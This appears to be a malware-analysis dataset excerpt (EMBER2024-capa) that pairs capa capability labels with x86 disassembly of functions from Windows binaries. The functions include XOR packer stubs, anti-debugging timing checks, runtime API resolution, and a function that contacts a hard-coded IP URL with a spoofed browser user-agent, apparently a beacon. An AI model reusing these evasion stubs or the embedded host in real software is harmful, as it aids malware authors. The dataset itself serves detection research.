joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4a22e4
Capabilities:
Check for time delay via gettickcount
Get socket status

Disassembly:
push ebp
lea ebp, [esp - 0x6c]
sub esp, 0x31c
push ebx
mov ebx, dword [ebp + 0x78]
push esi
mov esi, dword [ebp + 0x74]
xor edx, edx
push edi
xor edi, edi
cmp esi, 0xffffffff
mov dword [ebp + 0x64], edx
mov dword [ebp + 0x68], edx
jne 0x4a2318
cmp ebx, esi
jne 0x4a2318
mov eax, dword [ebp + 0x7c]
call fcn.004a22c5
jmp 0x4a24b5
cmp dword [ebp + 0x7c], edx
jle 0x4a232d
mov edi, dword [ebp + 0x7c]
call fcn.004a38aa
mov dword [ebp + 0x68], edx
mov dword [ebp + 0x64], eax
xor edx, edx
xor eax, eax
or ecx, 0xffffffff
inc eax
cmp esi, ecx
mov dword [ebp - 0xa8], edx
mov dword [ebp - 0x1ac], edx
je 0x4a235d
mov dword [ebp - 0x1a8], esi
mov dword [ebp - 0x1ac], eax
mov dword [ebp - 0xa4], esi
mov dword [ebp - 0xa8], eax
mov ecx, esi
cmp ebx, 0xffffffff
mov dword [ebp - 0x2b0], edx
je 0x4a23b4
mov dword [ebp - 0x2b0], eax
xor eax, eax
cmp dword [ebp - 0xa8], edx
mov dword [ebp - 0x2ac], ebx
jbe 0x4a2390
cmp dword [ebp + eax*4 - 0xa4], ebx
je 0x4a2390
inc eax
cmp eax, dword [ebp - 0xa8]
jb 0x4a237e
cmp eax, dword [ebp - 0xa8]
jne 0x4a23ae
cmp dword [ebp - 0xa8], 0x40
jae 0x4a23ae
mov dword [ebp + eax*4 - 0xa4], ebx
inc dword [ebp - 0xa8]
cmp ebx, ecx
jbe 0x4a23b4
mov ecx, ebx
cmp dword [ebp + 0x7c], edx
jge 0x4a23bd
xor ebx, ebx
jmp 0x4a23c0
lea ebx, [ebp + 0x5c]
lea esi, [ecx + 1]
xor eax, eax
cmp dword [ebp + 0x7c], eax
jle 0x4a23df
mov eax, edi
cdq
mov ecx, 0x3e8
idiv ecx
imul edx, edx, 0x3e8
mov dword [ebp + 0x60], edx
jmp 0x4a23e4
jne 0x4a23e7
mov dword [ebp + 0x60], eax
mov dword [ebp + 0x5c], eax
push ebx
lea eax, [ebp - 0xa8]
push eax
lea eax, [ebp - 0x2b0]
push eax
lea eax, [ebp - 0x1ac]
push eax
push esi
call dword [sym.imp.WS2_32.dll_select]
cmp eax, 0xffffffff
jne 0x4a2440
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
test eax, eax
je 0x4a241a
cmp eax, 0x2714
jne 0x4a2444
cmp dword [ebp + 0x7c], 0
jle 0x4a23c3
push dword [ebp + 0x68]
push dword [ebp + 0x64]
call fcn.004a38aa
push edx
push eax
call fcn.004a38c0
mov edi, dword [ebp + 0x7c]
sub edi, eax
add esp, 0x10
test edi, edi
jg 0x4a23c3
jmp 0x4a2444
test eax, eax
jge 0x4a2449
or eax, 0xffffffff
jmp 0x4a24b5
jne 0x4a244f
xor eax, eax
jmp 0x4a24b5
xor esi, esi
cmp dword [ebp + 0x74], 0xffffffff
je 0x4a2481
lea eax, [ebp - 0x1ac]
push eax
push dword [ebp + 0x74]
call sub.WS2_32.dll___WSAFDIsSet
test eax, eax
je 0x4a246b
inc esi
lea eax, [ebp - 0xa8]
push eax
push dword [ebp + 0x74]
call sub.WS2_32.dll___WSAFDIsSet
test eax, eax
je 0x4a2481
or esi, 4
cmp dword [ebp + 0x78], 0xffffffff
je 0x4a24b3
lea eax, [ebp - 0x2b0]
push eax
push dword [ebp + 0x78]
call sub.WS2_32.dll___WSAFDIsSet
test eax, eax
je 0x4a249d
or esi, 2
lea eax, [ebp - 0xa8]
push eax
push dword [ebp + 0x78]
call sub.WS2_32.dll___WSAFDIsSet
test eax, eax
je 0x4a24b3
or esi, 4
mov eax, esi
pop edi
pop esi
pop ebx
add ebp, 0x6c
leave
ret
Function at 0x4a4402
Capabilities:
Parse pe header

Disassembly:
movsx eax, byte [esp + 4]
add eax, 0xffffff9f
cmp eax, 0x19
ja case.default.0x4a440f
jmp dword [eax*4 + 0x4a446a]
mov al, 0x41
ret
mov al, 0x42
ret
mov al, 0x43
ret
mov al, 0x44
ret
mov al, 0x45
ret
mov al, 0x46
ret
mov al, 0x47
ret
mov al, 0x48
ret
mov al, 0x49
ret
mov al, 0x4a
ret
mov al, 0x4b
ret
mov al, 0x4c
ret
mov al, 0x4d
ret
mov al, 0x4e
ret
mov al, 0x4f
ret
mov al, 0x50
ret
mov al, 0x51
ret
mov al, 0x52
ret
mov al, 0x53
ret
mov al, 0x54
ret
mov al, 0x55
ret
mov al, 0x56
ret
mov al, 0x57
ret
mov al, 0x58
ret
mov al, 0x59
ret
mov al, 0x5a
ret
mov al, byte [esp + 4]
ret

Function at 0x4a6155
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [esi]
push ebx
xor ebx, ebx
cmp dword [eax + 4], 2
push edi
sete bl
test ebx, ebx
je 0x4a6179
push dword [eax + 8]
push dword [ebp + 0xc]
push 1
push dword [ebp + 8]
call dword [esi + 0xc]
jmp 0x4a61aa
cmp dword [esi + 8], 0
jne 0x4a619a
push 0x4b4610
push dword [eax + 8]
call fcn.0047a82f
test eax, eax
pop ecx
pop ecx
mov dword [esi + 8], eax
jne 0x4a619a
or eax, 0xffffffff
jmp 0x4a61d0
push dword [esi + 8]
push dword [ebp + 0xc]
push 1
push dword [ebp + 8]
call fcn.00477e9a
mov edi, eax
add esp, 0x10
test edi, edi
je 0x4a61b8
cmp edi, dword [ebp + 0xc]
jbe 0x4a61ce
test ebx, ebx
jne 0x4a61c8
push dword [esi + 8]
call fcn.004784c0
and dword [esi + 8], ebx
pop ecx
mov eax, dword [esi]
mov eax, dword [eax]
mov dword [esi], eax
mov eax, edi
pop edi
pop ebx
pop ebp
ret
Function at 0x401000
Capabilities:
Create http request
Reference http user-agent string

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3f4
push str.http:__91.202.233.141_GAGLAGULGAX
lea eax, [ebp - 0x3f0]
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 8
push 0
push 0
push 0
push 0
push str.Mozilla_5.0__Windows_NT_10.0__Win64__x64__AppleWebKit_537.36__KHTML__like_Gecko__Chrome_93.0.4577.82_Safari_537.36
call dword [sym.imp.WININET.dll_InternetOpenW]
mov dword [ebp - 0x3f4], eax
cmp dword [ebp - 0x3f4], 0
je 0x401074
push 0
push 0
push 0
push 0
lea ecx, [ebp - 0x3f0]
push ecx
mov edx, dword [ebp - 0x3f4]
push edx
call dword [sym.imp.WININET.dll_InternetOpenUrlW]
mov dword [ebp - 4], eax
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [ebp - 0x3f4]
push ecx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov esp, ebp
pop ebp
ret

Function at 0x401090
Capabilities:
Check if file exists
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x414
push 0x104
lea eax, [ebp - 0x410]
push eax
push str._temp_
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
lea ecx, [ebp - 0x410]
push ecx
push str._s_f333333333333d.txt
lea edx, [ebp - 0x208]
push edx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x4010e3
xor al, al
jmp 0x40111d
push 0
push 2
push 2
push 0
push 0
push 0x40000000
lea ecx, [ebp - 0x208]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x414], eax
cmp dword [ebp - 0x414], 0xffffffff
je 0x40111b
mov edx, dword [ebp - 0x414]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
mov esp, ebp
pop ebp
ret

Function at 0x42e000
Capabilities:
Authenticate hmac
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
nop
nop
push 4
nop
nop
nop
nop
nop
nop
pop edi
nop
nop
nop
cmp eax, 0
nop
nop
nop
nop
nop
je 0x42e072
mov ebx, 0x407358
nop
nop
nop
nop
nop
mov ecx, ebx
nop
nop
nop
nop
sub ecx, eax
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
push eax
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
xchg ecx, eax
nop
pop eax
nop
nop
nop
nop
nop
nop
mov esi, 0x39e43685
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
loop 0x42e060
nop
nop
mov eax, section..data
nop
nop
nop
cmp eax, 0
nop
nop
nop
nop
je 0x42e0d2
nop
mov ebx, 0x42cdf0
nop
nop
nop
nop
mov ecx, ebx
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
push eax
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
div edi
nop
nop
nop
nop
xchg ecx, eax
nop
nop
pop eax
nop
nop
nop
nop
nop
nop
mov esi, 0x25f42098
xor dword [eax], esi
nop
nop
nop
nop
nop
nop
nop
nop
add eax, edi
nop
nop
nop
loop 0x42e0c0
nop
nop
nop
nop
nop
popal
nop
jmp 0x401219
Function at 0x406260
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x40d07c]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.00403dae
and dword [ebp - 0x14], 0
cmp dword [0x40e920], 0
mov dword [ebp - 0x18], eax
jne 0x406313
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x4063bb
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x4063bb
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x40e920], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x40e924], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x40e928], eax
call edi
push eax
call esi
mov dword [0x40e930], eax
test eax, eax
je 0x406313
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x40e92c], eax
mov eax, dword [0x40e92c]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x40636c
cmp dword [0x40e930], ecx
je 0x40636c
push eax
call esi
push dword [0x40e930]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x40636c
test ebx, ebx
je 0x40636c
call edi
test eax, eax
je 0x406363
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x406363
test byte [ebp - 8], 1
jne 0x40636c
or dword [ebp + 0x10], 0x200000
jmp 0x40639f
mov eax, dword [0x40e924]
cmp eax, dword [ebp - 0x18]
je 0x40639f
push eax
call esi
test eax, eax
je 0x40639f
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x40639f
mov eax, dword [0x40e928]
cmp eax, dword [ebp - 0x18]
je 0x40639f
push eax
call esi
test eax, eax
je 0x40639f
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x40e920]
call esi
test eax, eax
je 0x4063bb
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x4063bd
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00402701
leave
ret

Function at 0x430001
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
call 0x43000c
nop
nop
nop
pop eax
nop
nop
nop
add eax, 0x403d7a
sub eax, 0x403d20
nop
nop
nop
nop
nop
mov ebx, dword [eax]
nop
mov ecx, dword [eax + 4]
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
add ebx, 4
nop
nop
nop
nop
nop
nop
cmp ebx, ecx
jl 0x430030
nop
nop
nop
nop
nop
add eax, 0xc
nop
nop
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
jne 0x43001e
nop
nop
nop
nop
nop
popal
jmp loc.00401219
Function at 0x40d23b
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0x88
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 8]
mov edx, dword [esp + 0x78]
mov esi, dword [esp + 0x7c]
mov dword [esp + 0x78], 0x7246c772
mov dword [esp + 0x7c], 0
mov dword [esp + 0x6c], 0x8a3d046
mov edi, dword [esp + 0x70]
mov ebx, edi
add ebx, ebx
mov dword [esp + 0x70], ebx
mov bx, word [esp + 0x76]
mov dword [esp + 0x30], eax
lea eax, [esp + 0x3c]
mov dword [esp + 0x2c], eax
mov eax, dword [esp + 0x6c]
mov dword [esp + 0x78], 0x875c3a30
mov dword [esp + 0x7c], 0xffffffff
add eax, 0xf75c2fba
mov dword [esp + 0x64], eax
mov word [esp + 0x2a], bx
mov dword [esp + 0x24], ecx
mov dword [esp + 0x20], edx
mov dword [esp + 0x1c], esi
mov dword [esp + 0x18], edi
jmp 0x40d372
mov eax, dword [esp + 0x20]
mov dword [esp + 0x78], eax
mov ecx, dword [esp + 0x1c]
mov dword [esp + 0x7c], ecx
mov edx, dword [esp + 0x5c]
mov esi, dword [esp + 0x18]
and esi, 0x20e56ea5
mov dword [esp + 0x70], esi
mov esi, esp
mov edi, dword [esp + 0x24]
mov dword [esi + 0xc], edi
mov ebx, dword [esp + 0x30]
mov dword [esi + 4], ebx
xor eax, eax
mov dword [esi], eax
mov dword [esi + 8], 0x1000
mov dword [esp + 0x14], eax
call edx
sub esp, 0x10
mov ecx, dword [esp + 0x20]
and ecx, 0x5b57572a
mov edx, dword [esp + 0x14]
mov dword [esp + 0x7c], edx
mov dword [esp + 0x78], ecx
mov dword [esp + 0x60], eax
mov al, 0xb4
sub al, byte [esp + 0x6b]
mov byte [esp + 0x6b], al
mov eax, dword [esp + 0x60]
mov dword [esp + 0x70], 0x443a5b6d
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
mov al, byte [esp + 0x6b]
mov cl, 0x36
mul cl
mov byte [esp + 0x6b], al
call fcn.004106d4
mov dword [esp + 0x34], eax
mov word [esp + 0x3a], 0x1214
mov dx, word [esp + 0x3a]
mov dword [esp + 0x64], 0x7b7bc66e
cmp dx, 0x2984
jne 0x40d3c9
mov eax, dword [esp + 0x20]
mov dword [esp + 0x78], eax
mov ecx, dword [esp + 0x1c]
mov dword [esp + 0x7c], ecx
mov edx, dword [esp + 0x64]
mov bl, byte [edx + 0x40d179]
mov si, word [esp + 0x2a]
sub si, 0x17e9
mov bh, byte [edx + 0x40d141]
sub bh, bl
mov word [esp + 0x76], si
mov byte [esp + edx + 0x3c], bh
mov edi, dword [esp + 0x18]
or edi, 0x65329727
add edx, 1
mov dword [esp + 0x70], edi
mov dword [esp + 0x64], edx
cmp edx, 0xe
je 0x40d342
jmp 0x40d372
mov eax, dword [esp + 0x34]
mov dx, word [esp + 0x2a]
mov cx, dx
add ecx, ecx
mov si, cx
mov word [esp + 0x76], si
mov ecx, esp
mov edi, dword [esp + 0x2c]
mov dword [ecx + 4], edi
mov dword [ecx], eax
call fcn.0040e58c
mov ecx, dword [esp + 0x18]
imul edi, ecx, 0x4c9dff2
mov dword [esp + 0x70], edi
mov dword [esp + 0x5c], eax
xor ecx, 0xdff3fb9
mov dword [esp + 0x70], ecx
mov eax, dword [esp + 0x5c]
sub eax, 0x100
setb bl
mov ecx, dword [esp + 0x20]
add ecx, ecx
mov edi, dword [esp + 0x1c]
adc edi, edi
mov dword [esp + 0x7c], edi
mov dword [esp + 0x78], ecx
cmp dword [esp + 0x5c], 0
sete bh
mov byte [esp + 0x6b], 0xaf
or bh, bl
mov dword [esp + 0x60], 0
test bh, 1
mov dword [esp + 0x10], eax
jne 0x40d324
jmp 0x40d2c4
Function at 0x40fc40
Capabilities:
Execute anti-debugging instructions

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0x70
xor eax, eax
mov cl, byte [esp + 0x67]
mov dword [esp + 0x60], 0x43da2b1e
mov dword [esp + 0x4c], esi
mov byte [esp + 0x4b], cl
mov dword [esp + 0x44], edx
mov dword [esp + 0x40], eax
mov eax, dword [esp + 0x40]
mov ecx, dword [esp + 0x4c]
mov edx, dword [esp + 0x44]
mov si, 0x3b9d
mov edi, dword [esp + 0x68]
imul edi, edi
mov dword [esp + 0x68], edi
mov dword [esp + 0x3c], eax
mov dword [esp + 0x38], edx
mov dword [esp + 0x34], ecx
mov word [esp + 0x32], si
rdtsc
mov edi, edx
mov ebx, eax
rdtsc
mov ecx, edx
mov esi, eax
mov eax, dword [esp + 0x68]
mov edx, dword [esp + 0x60]
mov dword [esp + 0x2c], eax
mov eax, edx
add eax, 0xbc25d4e3
mov dword [esp + 0x28], eax
mov eax, dword [esp + 0x2c]
add eax, eax
mov dword [esp + 0x68], eax
add edx, 0xbc25d546
sub esi, ebx
xor eax, eax
mov ebx, dword [esp + 0x3c]
test ebx, ebx
mov ebx, dword [esp + 0x34]
cmove ebx, esi
mov dword [esp + 0x68], eax
mov eax, dword [esp + 0x38]
cmove eax, esi
mov dword [esp + 0x54], 0xffffffff
mov dword [esp + 0x50], 0xc7805766
mov dword [esp + 0x24], eax
mov al, byte [esp + 0x4b]
xor al, 0xd9
mov byte [esp + 0x23], al
mov eax, dword [esp + 0x24]
cmp eax, esi
cmova eax, esi
mov dword [esp + 0x1c], eax
mov al, byte [esp + 0x23]
mov byte [esp + 0x67], al
mov eax, dword [esp + 0x3c]
mov dword [esp + 0x18], ecx
mov ecx, dword [esp + 0x28]
add eax, ecx
mov cx, word [esp + 0x32]
sub cx, word [esp + 0x5e]
cmp ebx, esi
cmovb ebx, esi
mov word [esp + 0x5e], cx
mov byte [esp + 0x67], 0x5b
cmp eax, edx
mov edx, dword [esp + 0x1c]
mov esi, ebx
mov dword [esp + 0x14], ebx
mov dword [esp + 0x4c], esi
mov dword [esp + 0x10], edi
mov dword [esp + 0x44], edx
mov dword [esp + 0x40], eax
jne 0x40fc6a
mov eax, dword [esp + 0x60]
mov ecx, dword [esp + 0x1c]
sub ecx, 0x53
sete dl
xor eax, 0x43da2b1d
mov esi, dword [esp + 0x14]
mov edi, dword [esp + 0x1c]
sub esi, edi
sete dh
sub edi, eax
sete bl
or dl, bl
mov eax, dword [esp + 0x68]
or eax, dword [esp + 0x68]
mov ebx, dword [esp + 0x1c]
cmp ebx, 0
sete bl
mov dword [esp + 0x68], eax
or bl, dl
and dh, bl
mov word [esp + 0x5e], 0x7664
and dh, 1
movzx eax, dh
mov dword [esp + 0xc], esi
mov dword [esp + 8], ecx
mov dword [esp + 4], edi
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x40fea2
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0xa8
xor eax, eax
mov ecx, dword [esp + 0x98]
mov edx, dword [esp + 0x9c]
mov esi, ecx
xor esi, 0x78562396
mov dword [esp + 0x98], esi
mov dword [esp + 0x8c], 0x4b407eb9
movzx esi, word [esp + 0x92]
mov di, si
and esi, 0x1ed
mov bx, si
mov word [esp + 0x92], bx
lea esi, [esp + 0x2a]
lea ebx, [esp + 0x4a]
mov dword [esp + 0x9c], 0
mov dword [esp + 0x98], 0x4c64b41d
mov dword [esp + 0x24], ebx
mov dword [esp + 0x20], ecx
mov dword [esp + 0x1c], edx
mov word [esp + 0x1a], di
mov dword [esp + 0x14], esi
mov dword [esp + 0x10], eax
jmp 0x40ff3b
xor eax, eax
mov dword [esp + 0xc], eax
jmp 0x40ffcc
mov eax, dword [esp + 0x10]
mov ecx, 0x4b407ec4
mov dl, byte [eax + 0x40d179]
mov dword [esp + 0x94], 0xcdf95600
mov dh, byte [esp + 0x8b]
add dh, 0xd2
mov byte [esp + 0x8b], dh
xor esi, esi
mov edi, 0x7ab00244
mov ebx, dword [esp + 0x20]
sub edi, ebx
mov ebx, dword [esp + 0x1c]
sbb esi, ebx
mov dh, byte [eax + 0x40d110]
sub dh, dl
mov dword [esp + 0x9c], esi
mov dword [esp + 0x98], edi
mov esi, dword [esp + 0x8c]
add esi, 0xb4bf8148
mov byte [esp + eax + 0x2a], dh
mov di, word [esp + 0x1a]
and di, 0xf869
mov word [esp + 0x92], di
add eax, esi
sub ecx, dword [esp + 0x8c]
cmp eax, ecx
mov dword [esp + 0x10], eax
je 0x40ff30
jmp 0x40ff3b
mov eax, dword [esp + 0xc]
mov ecx, dword [esp + 0x20]
or ecx, 0x5490aad0
mov dword [esp + 0x98], ecx
mov ecx, dword [esp + 0x1c]
mov dword [esp + 0x9c], ecx
movsd xmm0, qword [esp + eax + 0x2a]
punpcklbw xmm1, xmm0
psraw xmm1, 8
movups xmmword [esp + eax*2 + 0x4a], xmm1
mov dword [esp + 0x98], 0x1cf06208
mov dword [esp + 0x9c], 0
mov edx, dword [esp + 0x8c]
xor edx, 0x4b407e99
mov esi, dword [esp + 0x20]
and esi, 0x60f611f6
mov dword [esp + 0x98], esi
add eax, 8
cmp eax, edx
mov dword [esp + 0xc], eax
jne 0x40ffcc
xor eax, eax
lea ecx, [esp + 0x4a]
mov dword [esp + 0x9c], 0xf767dc9
mov dword [esp + 0x98], 0xdfe50fab
mov dx, word [esp + 0x1a]
add dx, 0x9778
mov word [esp + 0x92], dx
mov dword [esp], ecx
mov dword [esp + 4], 0
mov dword [esp + 8], eax
call fcn.0040e99b
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x457b99
Capabilities:
Encrypt data using rc4 prga

Disassembly:
inc dword [esp + 4]
adc ebp, 4
xor edx, edx
test eax, eax
lea esp, [esp + 8]
je 0x49d1c3
mov edi, 0x261f1e26
movzx edi, byte [ecx + edi - 0x261f1e26]
xor edi, edx
push 0x21a1e0a
and edi, 0xff
inc word [esp + 2]
jp 0x4eca13
add byte [eax], al
jne 0x4d30eb
push es
add byte [edx + 0x54], dl
push edx
push esp
jg 0x46c507
xchg dword [edx + 0x406f31a2], ebx
leave
xor dword [eax + 4], esi
daa
xchg dword ds:[ecx - 0x5a885606], edx
jo 0x46c5c8
pop ebx
xor dword [eax], ebx
adc bh, byte [edx]
mov ecx, 0x34f9c5ff
xor al, 0x7c
aaa
stosd dword es:[edi], eax
aaa
jecxz 0x46c56c
sub al, 4
inc esp
cmp dword [ebx + 0x78bdaf6a], ebp
test dword [ebx + 0x44f18af2], eax
and eax, 0xd9df3068
pop ss
or esp, edx
push es
lds ecx, [eax]
cmp dword [eax - 0x2a0f4198], ebp
rcl dword [edi - 0x46c5a6], 0xdd
jg 0x46c5a1
cmp bh, byte [ecx - 0x5802201]
jl 0x46c553
int 0x11
push esp
add eax, 0xda1cca50
mov al, 0x6d
inc edx
add dword [esi - 0x3a], ebx
dec ecx
ret
sbb al, 0xbb
invalid
mov word [ebp], dx
push 0x83b433b
call fcn.0046f983
call fcn.004586ca
mov edx, 0x7b80f86
jmp 0x4e3d43
insb byte es:[edi], dx
insb byte es:[edi], dx
inc ebp
js 0x4c44d3
arpl word [ebp + 0x74], si
push edi
add byte [esi - 0x77], ah
mov word [ebp], cx
push 0x2d9b8b2d
push 0x24a65792
lea esp, [esp + 0x18]
mov esi, 0x8b0001bc
cmp al, 0xbd
adc al, bl
dec esi
add byte [edi], cl
mov bl, byte [edx - 0x29000580]
mov edi, dword [edi*4 + 0x4ed810]
jp 0x46c54f
salc
mov byte [ecx - 0x77], ah
call 0x63cf3c02
outsb dx, byte es:[esi]
loope 0x4c4469
mov al, byte [0x289cd539]
mov esi, dword [esi + 0x67]
dec ebp
or dword [edi + 0x48], edi
loopne 0x4c44a4
mov dl, 0x62
invalid
cli
sbb byte [edx + edx*8 + 0x49], bh
les ebp, [ecx]
inc dword [ecx]
rcr dword [esi - 0x11], 0x49
mov ebx, 0x9f96ffb3
sahf
salc
adc ah, byte [esi - 0x43]
ret 0xef91
shr edx, 8
xor edx, edi
inc dword [esp]
call fcn.0049d1a4
movzx dx, byte [ebp + edx*2 - 0xf701f0c]
mov eax, 0xbd37c284
push eax
mov al, byte [ebp + 2]
push 0xb189f011
xor dword [esp + 4], 0x1c2c6c86
adc ebp, 2
or dl, al
not dl
jmp 0x46e272
jns 0x4c44a8

Function at 0x45e8fd
Capabilities:
Encode data using base64

Disassembly:
dec eax
not ebp
js 0x4c0a95
lea esp, [esp + 0x10]
jmp fcn.004e0166
dec eax
mov dword [esp], 0xe01e98a
ja 0x4cd9de
dec eax
bswap ebp
setp byte [esp + 8]
shl byte [esp + 0x15], 0xa1
dec eax
neg ebp
push 0x6e31350a
call fcn.004c8fa7
push 0xb70b4bbe
push 0x4e30a5a3
mov bp, word [ebp]
jmp 0x4d9d3b
lea esp, [esp + 8]
jmp fcn.004cc959
Function at 0x4676a4
Capabilities:
Encode data using base64

Disassembly:
push 0xa83701
mov ecx, 0xd11dc9b9
mov edi, dword [ebp]
rol byte [esp + 3], 3
or ecx, 0x6f102c02
mov cx, word [edi]
daa
mov dword [esp], 0x5127649a
adc ebp, 2
jmp 0x45d108
mov dword [esp + 4], 0x27344d85
xor dl, bl
push 0x86afdd26
shr dword [esp + 8], 0x9d
not dl
jnp 0x496100
loop 0x467690
mov byte [0x202c6d4], al
or al, 0x46
push edx
inc eax
movsb byte es:[edi], byte [esi]
and dl, cl
inc edi
lodsd eax, dword [esi]
jnp 0x46773c
or dword gs:[edi], esp
xor eax, 0x91834529
movsd dword es:[edi], dword [esi]
leave
pop es
adc eax, 0x21338de1
loope 0x467744
jo 0x467674
sub al, 0xd3
iretd
push ebp
or byte [edi], cl
mov edi, 0xa3c5c6ca
ja 0x4d57d0
xor dl, 5
call fcn.00467537

Function at 0x4703f2
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push 0x14afa516
add word [esp + 1], 0xb090
adc ebp, 1
mov word [ebp], dx
push 0xefa00809
call fcn.004e8272
je 0x45e304
xor ecx, esi
push 0xa014b50e
inc edx
xor word [esp + 7], 0x9526
xor ecx, 0xfd00729c
dec edi
push 0x3a3505a0
lea esp, [esp + 0x10]
jne 0x46b175
pop esi
and esi, 0xff
rol byte [esp + 4], 2
mov dword [esp], 0xff14bc98
mov esi, dword [esi*4 + 0x4704e4]
shr ecx, 8
shr dword [esp + 1], 0x6c
jne 0x460c47
inc edi
div dword [esp + ecx*4]
Function at 0x4c6217
Capabilities:
Encode data using base64

Disassembly:
not dl
neg bl
inc esp
xor ch, bl
dec eax
add ebx, esp
bts edx, 0xd
not dx
movzx dx, byte [ebx]
dec ecx
sbb esp, 2
inc cx
mov dword [esp], edx
jmp 0x4dcf84
add byte [eax], al
adc ebp, 6
call fcn.004e2abd
mov dl, 0xe4
cmp al, 0xcf
sar esi, 1
ja 0x45c4aa
scasb al, byte es:[edi]
fdivrp st(5)
cld
loopne 0x45c4aa
jg 0x45c42d
das
invalid
add byte [ebx + 0x41a0ff22], 0x3b
mov edx, 0x7e339ff
cmpsb byte [esi], byte es:[edi]
cmp bh, byte [edx + 0x2dfcd9ff]
xchg esi, eax
outsb dx, byte [esi]
push ds
inc esp
daa
mov bl, 0xa
xlatb
loopne 0x45c4f3
jl 0x45c4ed
xor eax, 0xc3e734bb
or byte [eax + 0x20], dh
push 0xffffffffffffffab
jbe 0x45c532
movzx ebx, byte [edx + edx - 0x76ab6a1d]
sal edx, 0x94
pushfd
adc ah, bl
xchg ebp, eax
push esp
mov ecx, eax
xchg esp, eax
dec ecx
adc edx, 1
inc ecx
xor bl, ch
rol bl, 1
and dx, dx
adc bl, 0xae
ror dx, 0x24
jae 0x45f943
call fcn.00459c8f
test al, 0x68
mov cl, 0x29
xchg edx, eax
lahf
invalid
rcl cl, 1
add byte [edx - 0x70], cl
int 0xb0
and bh, dl
cmp bl, byte [edx - 0x7b]
fild word [ebp + 0x3ee542da]
or ebx, ebp
cld
mov ecx, 0x648dc985
test ecx, ecx
lea esp, [esp + 0xc]
je 0x4e5e26
push esi
mov esi, 0xc7bb269a
bt si, si
bts esi, 0xbf
movzx esi, byte [edi]
call fcn.004bd39a
call fcn.00474a1d
sub al, 2
adc byte [eax + eax*2], ch
jbe 0x45c5db
or byte [esi + 0x5f19f571], cl
dec ebp
stc
xchg ebp, eax
arpl word [ecx + 5], si
imul esi, edi, 0x38de1e5
adc dword [ebp + 0x712537d9], esi
sbb eax, 0xf4fd3123
jno 0x45c522
and esi, dword [ecx]
std
hlt
dec esp
inc ecx
insb byte es:[edi], dx
in al, 0x7e
in al, dx
adc eax, 0x791184bf
jno 0x45c5bd
test byte [edi + 0x6df497e0], cl
das
jae 0x45c5ef
pop es
push esp
xor ah, dh
inc dword [ebp + 0x2f]
